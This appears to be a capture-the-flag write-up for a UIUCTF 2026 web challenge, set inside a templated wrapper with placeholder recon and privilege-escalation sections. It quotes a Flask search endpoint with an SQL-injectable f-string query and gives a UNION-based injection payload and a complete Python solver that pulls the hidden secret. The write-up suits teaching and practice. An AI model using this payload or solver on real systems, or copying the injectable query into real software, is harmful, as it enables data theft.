Explore the Cave
Explore the Cave
Platform: Uiuc2026 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-08-08 | Status: Solved Techniques: source_code_review, union_based_sqli
Summary
Task: A Flask loot search interpolates user input into a three-column SQLite query while a hidden table stores the target item. Solution: A compatible UNION SELECT extracts the hidden row and renders its secret field.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
uiuc2026| ID:20260808_uiuc2026_explore_the_cave - Tags: sqlite, SQLi, flask
- Indicators: user input interpolated into SQLite LIKE clauses, hidden table with three columns, visible query returns three columns
- Source:
20260808_uiuc2026_explore_the_cave.md
Foothold
Vulnerability / Misconfiguration
- Source_code_review
- Union_based_sqli
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- source_code_review
- union_based_sqli
- Tags: sqlite, SQLi, flask
Original Writeup
<details><summary>Click to expand original content</summary>Explore the Cave — uiuc2026
Description
A beast once guarded this cave, but the treasure inventory is still hiding something legendary. Can you find the blue ocarina?
The handout provides a Flask application containing a searchable cave inventory. The goal is to find the hidden blue ocarina and recover the associated secret.
Analysis
Source review immediately identifies the vulnerable data flow. The /search endpoint reads the attacker-controlled q parameter and inserts it directly into three SQLite LIKE predicates (challenge/app.py:67-77):
term = request.args.get("q", "")
query = (
"SELECT item_count, item, description FROM main_cave "
f"WHERE item_count LIKE '%{term}%' "
f"OR item LIKE '%{term}%' "
f"OR description LIKE '%{term}%' "
"ORDER BY item"
)
There is no parameter binding or escaping, so q can alter the query structure. Database initialization also reveals a second table (challenge/app.py:20-42):
CREATE TABLE main_cave (item_count TEXT, item TEXT, description TEXT); CREATE TABLE secret_opening (item TEXT, secret, description TEXT);
The hidden table contains the blue ocarina row, and its secret column receives the flag from the environment. Most importantly, both the visible query and hidden table have three columns, making direct UNION extraction possible without padding or column-count discovery.
Solution
Use the following value for q:
' UNION SELECT item, secret, description FROM secret_opening--
Inserted into the application query, it produces the relevant structure:
SELECT item_count, item, description FROM main_cave WHERE item_count LIKE '%%' UNION SELECT item, secret, description FROM secret_opening-- ' OR item LIKE '...' OR description LIKE '...' ORDER BY item
The opening quote closes the first LIKE pattern. UNION SELECT then returns the three hidden fields in an order compatible with the original result, while SQLite's -- comment consumes the remaining predicates and ORDER BY through the end of the statement. The first original predicate remains valid as item_count LIKE '%%'.
The application fetches the combined rows and passes them to Jinja (challenge/app.py:79-129). Each result is rendered as three table cells. For the injected row, the hidden secret value occupies the second cell and is therefore disclosed directly in the response.
The URL-encoded request shape is:
GET /search?q=%27%20UNION%20SELECT%20item%2C%20secret%2C%20description%20FROM%20secret_opening--%20
The supplied solver automates the request and extracts a value matching the public flag format:
#!/usr/bin/env python3
import re
import sys
import urllib.parse
import urllib.request
if len(sys.argv) != 2:
raise SystemExit(f"usage: {sys.argv[0]} BASE_URL")
base = sys.argv[1].rstrip("/")
payload = "' UNION SELECT item, secret, description FROM secret_opening-- "
url = base + "/search?" + urllib.parse.urlencode({"q": payload})
with urllib.request.urlopen(url, timeout=15) as response:
body = response.read().decode("utf-8", "replace")
flags = re.findall(r"uiuctf\{[^}\r\n]+\}", body)
if not flags:
raise SystemExit(f"flag not found; request was: {url}")
print(flags[0])
Run it against the challenge instance:
</details>python3 solve.py 'https://inst-46d471bd44649683-explore-cave-sql.chal.uiuc.tf/'
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR